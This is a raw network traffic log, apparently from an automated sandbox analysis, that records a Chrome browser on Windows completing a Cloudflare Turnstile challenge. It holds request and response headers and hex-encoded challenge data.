2025-03-27 13:34:07 UTC	3391	OUT	Data Raw: 31 73 2b 6e 74 6e 79 6e 68 6e 2b 6e 57 6a 76 39 6a 76 61 6e 6a 5a 42 50 56 63 6a 71 76 56 76 35 36 5a 47 44 58 76 75 69 50 6e 4e 58 42 69 76 46 76 30 58 56 50 6b 58 64 79 4d 6b 76 71 58 47 6b 76 4a 76 31 54 6e 76 74 69 6e 76 45 47 76 45 48 73 64 49 76 68 2b 6d 69 69 6b 47 58 42 4f 76 52 5a 42 35 76 68 78 52 44 76 4c 76 42 77 70 50 63 70 2d 4a 75 76 33 76 69 50 30 6c 76 71 73 64 51 71 68 6d 71 2b 73 32 6e 64 36 66 2d 38 38 7a 71 44 79 35 5a 77 76 52 52 58 67 51 69 41 6b 66 61 76 76 4d 59 55 56 56 6a 6e 7a 69 69 6a 73 69 63 34 6d 49 42 32 34 51 6e 5a 76 4d 51 76 53 30 49 58 44 71 56 53 76 49 39 63 76 50 58 50 76 68 5a 50 76 53 58 76 68 76 42 44 58 34 58 68 42 76 71 24 67 6e 64 24 56 2b 2b 69 76 57 59 69 76 45 5a 64 4a 47 42 64 66 73 4d 4d 67 45 76 68 68 49 Data Ascii: 1s+ntnynhn+nWjv9jvanjZBPVcjqvVv56ZGDXvuiPnNXBivFv0XVPkXdyMkvqXGkvJv1TnvtinvEGvEHsdIvh+miikGXBOvRZB5vhxRDvLvBwpPcp-Juv3viP0lvqsdQqhmq+s2nd6f-88zqDy5ZwvRRXgQiAkfavvMYUVVjnziijsic4mIB24QnZvMQvS0IXDqVSvI9cvPXPvhZPvSXvhvBDX4XhBvq$gnd$V++ivWYivEZdJGBdfsMMgEvhhI
2025-03-27 13:34:07 UTC	1051	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 228560 Connection: close cf-chl-gen: 8x7CKmcQqRub8xPIKo9IyfUvBcDShibsOwRoQ8gCCH610dmTobsb1LNzJZHaO+Zq3Xi5cBpmPapqtkypch3OmsbKDcmadRBVPHTV2HF2ub7orgBw/Xm3Ad9gkuI1fYmmEtj1KUtCrOfyaZjnF1AV6TVEpGp9WbPcdInoK6YBmb50A6HgjXeikV6oO7H3IMwPuqMcMJ0PLXpfTIQrv+0en6sFpvlGL1x6m2ytsxkeoPgqU5OARhMb7Ljx2QmH0PcBdXQHJrrkdTw/+i+aLLcUvKuRbOL4DqaYUX7wkuYwQL22Lb9RjEgLFL5z/VmNkCLtlQZ75MpToOOIkIrWwSwx4AgYq7jAs2E0HTfef9XLQmrgDHi7Px3idLi9VQXHEe4CEcJ3a9p23KP9hFYeE9NeV5jd2E2LN+3/5HIhsiFH1aE8tx9SZT1RpDHzw0HIvvGUa7houklJJNV4ab7LBNMC7GfvAZWu43NIexonCc/7jJw5khKDKervyjmUKXIFq/GHB8vezQvUi9tCDd8FbHzeWQkvqpfjwqVkYGp9g3sfdRu9f1Vz15LcpCK7ZSSDyNObAE8X68oip1a/+Y11YZmvgxqy2Vub8njjCQQhJF/FrYBVHnvm3XRDR3lE5iqltBG20PCtGw+WV8WxrJczmAclJlTJrtjmfdoQHn3I/ppqTqY+9m5/Bl51CRGWZzXko02bDGQkOkHHDEiljhnkbwoCuoJB/pgEee0SlA6VS437TCKAeggaHT0vlzzRrA7k9abquCOykxdveycu4cXHwfjtFg==$z46O/7E/8Ka4mVXR2WRgPw== Server: cloudflare CF-RAY: 926f436fed9217e9-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:07 UTC	318	IN	Data Raw: 56 31 61 42 6a 6e 71 4a 59 31 36 50 55 59 31 56 64 48 68 30 67 56 61 47 69 59 6c 57 64 46 71 55 6c 71 4e 37 6f 49 61 66 67 6d 69 70 66 47 57 74 6a 4b 75 48 70 49 57 62 68 6f 47 6b 62 34 47 6f 6d 48 65 32 72 6e 75 4a 65 61 36 64 66 72 2b 2b 74 4a 69 51 75 6f 65 37 68 63 61 73 6e 4d 66 45 73 61 47 78 76 37 47 50 78 39 4b 71 6a 64 62 59 31 4b 2b 31 31 73 47 78 72 4e 61 6b 31 36 48 6a 30 37 6e 4a 35 4d 79 6f 78 65 72 54 35 76 4c 6d 74 4e 47 78 39 4f 58 5a 37 2f 6e 70 33 66 50 76 34 39 4c 68 2b 4f 54 55 42 2f 72 42 31 63 58 37 41 4e 33 37 2b 2f 72 51 45 51 66 52 79 66 50 74 36 52 66 55 46 76 6f 42 45 42 67 6b 37 65 38 6d 4b 41 59 70 42 2f 63 6e 44 42 6a 6f 47 77 51 4a 37 50 73 51 46 75 37 70 42 79 4d 48 4c 44 49 72 43 77 34 2f 43 68 4d 41 2f 54 38 5a 52 78 38 Data Ascii: V1aBjnqJY16PUY1VdHh0gVaGiYlWdFqUlqN7oIafgmipfGWtjKuHpIWbhoGkb4GomHe2rnuJea6dfr++tJiQuoe7hcasnMfEsaGxv7GPx9KqjdbY1K+11sGxrNak16Hj07nJ5MyoxerT5vLmtNGx9OXZ7/np3fPv49Lh+OTUB/rB1cX7AN37+/rQEQfRyfPt6RfUFvoBEBgk7e8mKAYpB/cnDBjoGwQJ7PsQFu7pByMHLDIrCw4/ChMA/T8ZRx8
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 31 50 59 7a 68 5a 56 54 5a 73 56 46 32 45 4e 6d 42 68 52 6b 69 4b 5a 55 52 4d 5a 48 70 4c 59 59 74 72 55 58 4a 6e 67 35 43 50 6b 59 2b 52 57 5a 6d 57 57 56 35 79 6e 49 31 35 6e 4a 47 50 69 59 57 4a 5a 35 65 61 69 6d 75 46 6f 5a 75 41 66 71 71 6b 67 34 61 32 63 49 74 31 64 62 57 79 6d 62 71 69 65 6f 53 79 6f 34 43 65 6f 37 4f 59 6c 73 4b 38 6d 35 37 4f 69 4b 4f 4e 6a 64 44 4b 73 63 62 4a 6c 37 4c 4b 79 4a 61 67 34 4c 2f 66 6c 70 7a 52 30 4c 6e 46 78 71 62 42 70 39 32 6e 6f 73 7a 52 72 64 2b 79 33 38 4f 71 73 66 54 79 75 66 58 66 39 75 6a 62 36 2f 6a 57 41 4e 37 77 30 4f 6e 38 39 4f 6f 4f 36 39 7a 43 34 41 58 50 31 42 66 78 30 65 58 33 32 4e 6e 31 31 52 6b 54 2b 64 73 56 33 52 48 76 45 50 4d 70 48 78 6e 33 2b 69 7a 38 41 66 37 70 4c 53 63 4f 49 79 62 7a 44 Data Ascii: 1PYzhZVTZsVF2ENmBhRkiKZURMZHpLYYtrUXJng5CPkY+RWZmWWV5ynI15nJGPiYWJZ5eaimuFoZuAfqqkg4a2cIt1dbWymbqieoSyo4Ceo7OYlsK8m57OiKONjdDKscbJl7LKyJag4L/flpzR0LnFxqbBp92noszRrd+y38OqsfTyufXf9ujb6/jWAN7w0On89OoO69zC4AXP1Bfx0eX32Nn11RkT+dsV3RHvEPMpHxn3+iz8Af7pLScOIybzD
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 58 51 56 52 62 57 30 56 58 58 31 39 4a 57 6d 4e 6a 54 56 31 6e 5a 31 46 6f 55 58 35 6c 6b 4a 57 4c 53 35 56 57 64 48 75 4f 57 5a 35 54 65 4b 46 31 67 33 69 44 65 4a 47 53 64 33 64 6a 6c 6e 74 38 66 4a 70 2f 67 49 53 65 67 34 53 4d 70 72 6d 48 6c 6f 36 4b 6e 72 32 66 6b 62 2b 55 67 48 2b 49 75 73 75 61 79 36 4b 41 78 39 47 6c 77 34 76 45 6a 73 61 31 7a 4e 54 50 75 62 71 36 30 73 43 76 76 38 75 74 6e 71 37 54 75 2b 54 71 36 4d 6e 6a 71 71 54 45 76 4e 2f 48 33 4f 76 52 33 71 33 31 72 2b 32 33 30 75 76 73 79 37 71 2b 2f 74 6a 4f 33 4f 4c 61 38 4d 58 7a 36 51 58 69 2f 50 44 4a 38 67 33 30 34 68 48 2b 41 42 58 7a 47 67 58 37 38 41 44 59 48 42 30 4f 44 42 2f 30 38 41 66 6c 49 68 6b 5a 36 79 50 32 35 65 63 68 2b 75 6e 72 49 66 37 74 37 2f 63 32 4f 69 30 2f 43 52 Data Ascii: XQVRbW0VXX19JWmNjTV1nZ1FoUX5lkJWLS5VWdHuOWZ5TeKF1g3iDeJGSd3djlnt8fJp/gISeg4SMprmHlo6Knr2fkb+UgH+Iusuay6KAx9Glw4vEjsa1zNTPubq60sCvv8utnq7Tu+Tq6MnjqqTEvN/H3OvR3q31r+230uvsy7q+/tjO3OLa8MXz6QXi/PDJ8g304hH+ABXzGgX78ADYHB0ODB/08AflIhkZ6yP25ech+unrIf7t7/c2Oi0/CR
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 68 59 42 55 55 6f 42 5a 66 59 42 37 54 49 74 6e 55 58 35 69 62 33 68 79 67 59 53 50 6d 58 4a 58 62 5a 2b 4f 6e 59 4f 62 6d 6e 43 64 66 48 4f 55 69 58 36 47 72 4b 4f 75 67 58 4b 62 71 35 47 52 63 34 32 51 71 6e 52 38 71 71 72 41 63 70 79 64 65 72 4b 39 6f 4c 65 6b 69 48 79 6b 78 61 69 65 77 4b 37 52 72 36 47 2f 6a 38 4b 4f 69 71 7a 4b 6c 63 69 76 78 36 79 57 30 37 72 4c 34 73 58 63 30 4d 62 68 78 37 6a 59 79 4e 6d 6c 78 61 76 6c 71 71 62 49 39 66 69 71 79 4e 57 79 36 75 6e 5a 37 39 7a 42 77 75 4c 41 34 64 37 43 38 39 6a 36 77 37 37 59 41 64 76 6c 36 41 50 4f 45 4d 38 48 34 39 4c 57 44 4f 2f 56 39 74 34 55 31 69 48 55 2b 2f 6f 69 4a 66 41 52 49 69 55 47 42 69 67 4c 37 51 38 41 49 43 73 74 4e 6a 41 71 44 52 67 33 4e 44 6a 76 2f 53 6a 36 44 52 73 6a 49 30 55 Data Ascii: hYBUUoBZfYB7TItnUX5ib3hygYSPmXJXbZ+OnYObmnCdfHOUiX6GrKOugXKbq5GRc42QqnR8qqrAcpyderK9oLekiHykxaiewK7Rr6G/j8KOiqzKlcivx6yW07rL4sXc0Mbhx7jYyNmlxavlqqbI9fiqyNWy6unZ79zBwuLA4d7C89j6w77YAdvl6APOEM8H49LWDO/V9t4U1iHU+/oiJfARIiUGBigL7Q8AICstNjAqDRg3NDjv/Sj6DRsjI0U
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 45 5a 33 53 70 46 2f 68 56 42 6c 63 59 46 57 6d 49 31 36 66 56 79 49 61 31 6d 65 6c 70 65 6a 63 5a 31 69 67 58 4b 68 61 34 5a 2b 71 5a 65 4e 66 35 46 74 67 58 39 30 64 49 56 33 68 36 4f 39 64 4a 4f 6e 65 49 2b 68 66 5a 47 50 68 49 57 33 67 63 4f 2b 70 62 65 64 69 63 32 37 6f 4b 4f 69 78 71 6d 6f 78 72 53 76 77 35 69 35 75 70 57 31 32 74 43 56 75 37 69 66 73 4c 37 69 32 61 48 4e 31 75 2f 58 71 76 48 6d 36 4e 57 30 34 4d 54 6f 30 74 6a 76 2b 39 58 31 75 74 4c 61 75 76 63 44 76 51 58 6f 34 2b 51 44 79 63 7a 46 42 77 37 36 34 67 41 4d 44 64 37 4d 47 41 50 6b 30 50 58 6f 36 4e 54 34 31 2b 7a 59 2f 69 48 66 38 50 72 38 2b 68 67 6c 47 66 6e 37 4a 69 7a 77 43 69 67 54 4c 66 51 75 43 77 54 7a 4a 44 67 4a 39 41 34 77 43 77 76 38 4e 41 38 51 41 54 67 54 46 51 55 38 Data Ascii: EZ3SpF/hVBlcYFWmI16fVyIa1melpejcZ1igXKha4Z+qZeNf5FtgX90dIV3h6O9dJOneI+hfZGPhIW3gcO+pbedic27oKOixqmoxrSvw5i5upW12tCVu7ifsL7i2aHN1u/XqvHm6NW04MTo0tjv+9X1utLauvcDvQXo4+QDyczFBw764gAMDd7MGAPk0PXo6NT41+zY/iHf8Pr8+hglGfn7JizwCigTLfQuCwTzJDgJ9A4wCwv8NA8QATgTFQU8
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 42 48 6b 59 31 70 6d 6f 74 53 54 6f 2b 4c 56 6d 36 65 57 48 52 79 58 5a 32 61 67 5a 61 64 59 32 79 49 6f 47 69 42 71 34 32 46 6e 33 53 4f 6e 32 35 34 72 4c 71 77 72 48 36 2b 6a 58 69 64 74 62 75 64 66 59 43 2f 67 72 61 2b 6f 4d 4b 70 6e 71 37 46 72 36 48 50 6a 38 4b 52 72 5a 4f 78 6b 36 72 4f 73 61 37 65 76 4c 66 4c 78 63 48 4f 6f 74 53 38 77 36 50 42 70 38 66 6a 37 38 6a 74 73 71 7a 4b 30 75 33 4a 2b 65 76 79 79 64 37 61 39 64 4c 39 39 2f 7a 52 35 75 4c 37 36 51 72 68 41 39 34 4a 37 50 66 36 44 67 41 4a 2f 67 48 31 39 4e 41 4a 44 51 51 48 47 67 77 56 43 77 30 43 41 50 4c 2b 48 69 6a 6b 32 78 59 72 35 42 6b 47 49 68 49 69 4a 69 67 57 35 79 45 74 39 52 67 76 47 44 55 71 4e 7a 51 70 49 44 55 34 41 55 5a 41 4a 44 45 67 51 45 42 46 42 7a 78 48 52 53 68 46 54 Data Ascii: BHkY1pmotSTo+LVm6eWHRyXZ2agZadY2yIoGiBq42Fn3SOn254rLqwrH6+jXidtbudfYC/gra+oMKpnq7Fr6HPj8KRrZOxk6rOsa7evLfLxcHOotS8w6PBp8fj78jtsqzK0u3J+evyyd7a9dL99/zR5uL76QrhA94J7Pf6DgAJ/gH19NAJDQQHGgwVCw0CAPL+Hijk2xYr5BkGIhIiJigW5yEt9RgvGDUqNzQpIDU4AUZAJDEgQEBFBzxHRShFT
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 38 61 59 69 53 65 6c 69 67 69 33 39 78 58 5a 69 48 59 59 71 57 68 6d 52 32 6d 5a 42 2b 6b 6f 6d 50 67 62 53 65 6c 5a 61 53 6d 5a 6c 30 72 4c 43 63 65 4c 43 6a 70 4c 65 38 70 36 4f 56 69 61 4f 72 69 61 4f 76 72 34 7a 52 75 73 71 52 76 62 66 51 30 4c 66 43 30 5a 53 76 7a 39 61 63 34 63 72 59 6f 4b 37 55 79 4e 76 6b 31 4d 72 4a 74 75 44 4d 71 64 4c 4a 30 73 48 77 7a 74 62 57 30 75 76 63 37 37 58 66 32 38 33 30 39 4f 54 32 78 64 37 6d 31 51 48 72 37 4e 6e 34 39 2b 33 65 36 76 48 78 34 51 55 4c 39 64 44 56 38 66 72 55 36 68 41 58 2f 76 63 4e 47 42 30 53 47 78 77 52 35 68 34 67 4a 51 4d 4a 4a 75 30 65 48 53 67 73 35 77 38 59 42 78 73 6c 47 7a 41 31 49 43 45 4f 4c 54 63 67 45 6a 6b 77 4a 6a 77 39 50 53 77 47 4c 7a 73 76 4c 6b 55 39 4e 53 4d 33 4c 7a 55 52 55 54 Data Ascii: 8aYiSeligi39xXZiHYYqWhmR2mZB+komPgbSelZaSmZl0rLCceLCjpLe8p6OViaOriaOvr4zRusqRvbfQ0LfC0ZSvz9ac4crYoK7UyNvk1MrJtuDMqdLJ0sHwztbW0uvc77Xf28309OT2xd7m1QHr7Nn49+3e6vHx4QUL9dDV8frU6hAX/vcNGB0SGxwR5h4gJQMJJu0eHSgs5w8YBxslGzA1ICEOLTcgEjkwJjw9PSwGLzsvLkU9NSM3LzURUT
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 67 6e 35 62 56 34 36 66 5a 58 36 44 6f 36 53 4c 6c 71 69 43 72 5a 71 50 70 36 32 57 71 59 61 70 6d 37 4b 6b 6c 36 75 34 6a 72 43 35 76 4a 62 42 76 71 4f 56 6b 72 57 39 68 63 4b 68 78 49 79 4c 6f 62 43 4d 6e 36 2f 4e 6c 63 58 43 31 4c 32 50 30 72 2b 63 34 64 58 58 73 62 62 58 78 4b 44 6b 79 73 7a 66 36 4e 66 4e 35 2b 48 4b 7a 39 7a 74 36 65 76 77 2b 66 50 76 37 38 37 6d 38 39 48 4b 2b 50 66 73 34 2f 6a 38 78 51 6b 42 38 2f 54 4a 2b 41 66 49 45 66 37 78 35 65 6f 4f 47 4e 54 4c 42 68 76 55 43 66 55 53 43 66 63 59 47 42 33 65 46 42 38 64 41 42 55 6a 44 68 30 4a 45 4f 67 64 45 68 49 44 46 79 41 57 38 44 49 62 4c 67 6f 4d 4e 7a 63 69 4f 6a 30 38 41 54 30 68 4a 6b 41 36 49 7a 51 65 51 6b 4a 48 49 67 52 4e 50 43 63 30 50 31 42 42 4a 45 68 56 4c 6a 4e 57 59 42 30 Data Ascii: gn5bV46fZX6Do6SLlqiCrZqPp62WqYapm7Kkl6u4jrC5vJbBvqOVkrW9hcKhxIyLobCMn6/NlcXC1L2P0r+c4dXXsbbXxKDkyszf6NfN5+HKz9zt6evw+fPv787m89HK+Pfs4/j8xQkB8/TJ+AfIEf7x5eoOGNTLBhvUCfUSCfcYGB3eFB8dABUjDh0JEOgdEhIDFyAW8DIbLgoMNzciOj08AT0hJkA6IzQeQkJHIgRNPCc0P1BBJEhVLjNWYB0
2025-03-27 13:34:07 UTC	1369	IN	Data Raw: 47 47 6d 6e 6f 57 61 69 6d 64 6d 69 4b 43 43 64 4c 53 54 73 37 53 7a 70 61 4e 34 6d 5a 76 41 63 6f 79 77 65 6f 53 44 6f 6f 61 7a 75 71 6d 46 6f 61 69 6f 6c 34 79 6e 70 71 2b 72 79 6f 37 47 7a 37 61 72 75 71 6e 46 6d 70 6e 50 6d 64 75 2f 78 64 62 56 6d 62 6e 49 36 39 4f 6d 36 64 76 6b 32 4c 6e 63 78 65 50 6d 36 75 76 33 79 66 47 32 36 38 62 31 76 39 72 4f 41 64 61 2f 77 73 37 77 76 38 63 4b 34 74 67 48 2b 63 38 48 44 65 37 76 46 65 34 56 34 4f 38 49 32 67 54 59 2b 51 66 57 44 67 38 43 33 50 76 35 46 4e 34 6d 32 77 55 64 2b 66 6a 72 42 79 4c 6a 36 54 51 46 37 54 4d 72 45 6a 50 73 38 65 34 64 4d 66 77 4c 43 68 34 78 50 66 78 47 47 41 6b 57 52 6b 49 72 51 54 30 78 49 79 64 4d 4d 43 4e 4a 54 78 51 73 4a 31 5a 47 57 46 4e 49 47 56 78 41 4d 56 64 42 57 46 41 30 Data Ascii: GGmnoWaimdmiKCCdLSTs7SzpaN4mZvAcoyweoSDooazuqmFoaiol4ynpq+ryo7Gz7aruqnFmpnPmdu/xdbVmbnI69Om6dvk2LncxePm6uv3yfG268b1v9rOAda/ws7wv8cK4tgH+c8HDe7vFe4V4O8I2gTY+QfWDg8C3Pv5FN4m2wUd+fjrByLj6TQF7TMrEjPs8e4dMfwLCh4xPfxGGAkWRkIrQT0xIydMMCNJTxQsJ1ZGWFNIGVxAMVdBWFA0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:08 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:08 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 27 Mar 2025 13:34:08 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: xacNvH5FeNxK/MAurIIcNNM1pGr2L5Zl5wCvGXPRYDTLEQgu02Wva+5n++ha3Xa9phkNjtI8c6jHYanKIfFhbw==$iuqH5FdsJ063B9q2Lk3pvw== Server: cloudflare CF-RAY: 926f43778a225f74-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:08 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:08 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/926f436978fddafc/1743082447448/f08a0393422a5485320a157ae4e1a491df5c1bed56c3dcb07f0355299350cff3/z1WFFSaBdnj5ieq HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:08 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 27 Mar 2025 13:34:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-27 13:34:08 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 38 49 6f 44 6b 30 49 71 56 49 55 79 43 68 56 36 35 4f 47 6b 6b 64 39 63 47 2d 31 57 77 39 79 77 66 77 4e 56 4b 5a 4e 51 7a 5f 4d 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g8IoDk0IqVIUyChV65OGkkd9cG-1Ww9ywfwNVKZNQz_MAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-27 13:34:08 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:09 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/b/d/926f436978fddafc/1743082447449/ymApkFoSXkR3FAa HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:09 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:09 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 926f437e8b8631cb-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 53 08 02 00 00 00 19 5d 10 f4 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRS]IDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:09 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/b/d/926f436978fddafc/1743082447449/ymApkFoSXkR3FAa HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:10 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:10 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 926f43811821c33a-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 53 08 02 00 00 00 19 5d 10 f4 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRS]IDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:11 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38600 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:11 UTC	16384	OUT	Data Raw: 31 73 2b 6e 65 6a 64 4d 77 68 2b 69 50 71 44 64 4f 76 66 30 2b 6a 79 76 49 76 63 6e 42 5a 71 53 76 57 76 45 58 6a 69 73 76 24 35 6e 69 58 76 4d 64 59 76 39 78 54 76 64 77 58 73 75 76 54 76 6c 5a 56 54 63 76 51 5a 5a 64 33 6c 78 76 42 4f 76 49 5a 6a 66 76 4e 58 6a 30 76 31 33 58 35 32 76 68 53 53 64 52 76 76 61 58 53 76 54 6e 73 76 4c 35 33 5a 64 75 76 68 78 65 71 58 76 6a 58 6a 71 76 52 5a 64 49 76 42 51 35 52 6c 56 42 76 42 4d 75 39 6e 32 77 69 76 63 71 4a 76 44 51 57 36 55 54 75 53 45 4c 42 6e 64 31 6c 5a 64 65 4a 64 6d 2b 76 71 46 45 75 58 64 75 76 47 53 6a 6a 58 61 4b 69 76 64 6c 42 55 47 6d 4a 63 77 76 47 70 6a 53 39 46 6c 68 35 78 68 24 35 6a 5a 49 54 5a 64 64 56 76 64 39 76 6a 44 76 24 33 58 76 66 58 64 37 76 6a 34 54 69 61 31 56 76 56 77 32 6e 42 Data Ascii: 1s+nejdMwh+iPqDdOvf0+jyvIvcnBZqSvWvEXjisv$5niXvMdYv9xTvdwXsuvTvlZVTcvQZZd3lxvBOvIZjfvNXj0v13X52vhSSdRvvaXSvTnsvL53ZduvhxeqXvjXjqvRZdIvBQ5RlVBvBMu9n2wivcqJvDQW6UTuSELBnd1lZdeJdm+vqFEuXduvGSjjXaKivdlBUGmJcwvGpjS9Flh5xh$5jZITZddVvd9vjDv$3XvfXd7vj4Tia1VvVw2nB
